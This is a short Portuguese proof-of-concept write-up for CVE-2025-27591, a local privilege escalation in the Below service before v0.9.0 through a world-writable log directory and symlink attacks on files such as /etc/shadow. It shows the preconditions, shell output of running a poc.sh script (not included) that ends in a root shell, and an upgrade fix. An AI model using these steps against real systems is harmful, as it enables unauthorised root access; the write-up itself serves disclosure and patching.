
Uma Prova de Conceito para CVE-2025-27591, uma escalada de privilégios local no Below < v0.9.0
Prova de Conceito para CVE-2025-27591, uma vulnerabilidade que permite a usuários locais não privilegiados escalarem seus privilégios para root através de ataques de symlink.
A vulnerabilidade afeta o serviço Below (versões anteriores à v0.9.0). Ele cria um diretório /var/log/below com permissões de escrita global (0777), permitindo que usuários locais não privilegiados realoquem links simbólicos e manipulem arquivos críticos como /etc/shadow, resultando em escalação para root.
Um usuário local não privilegiado pode escalar para root ao:
/var/log/below/ deve ter permissões de escrita global (0777) e conter o arquivo error_root.log.foo@victim:~$ ls -l /var/log/ | grep below
drwxrwxrwx 3 root root 4096 Jul 8 20:45 below
Precisaremos de privilégios no nível sudoers.
foo@victim:~$ sudo -l
Matching Defaults entries for jacob on victim:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User foo may run the following commands on victim:
(ALL : ALL) NOPASSWD: /usr/bin/below
Assim que tivermos o arquivo poc.sh, daremos a ele as permissões necessárias, o executaremos e seremos root.
foo@victim:/tmp$ chmod +x poc.sh
foo@victim:/tmp$ ./poc.sh
evil@victim:/tmp# id
uid=0(evil) gid=0(root) groups=0(root)
Atualize para Below v0.9.0 ou posterior, que remove a lógica insegura de chmod e utiliza recursos de unidades systemd como LogsDirectory=below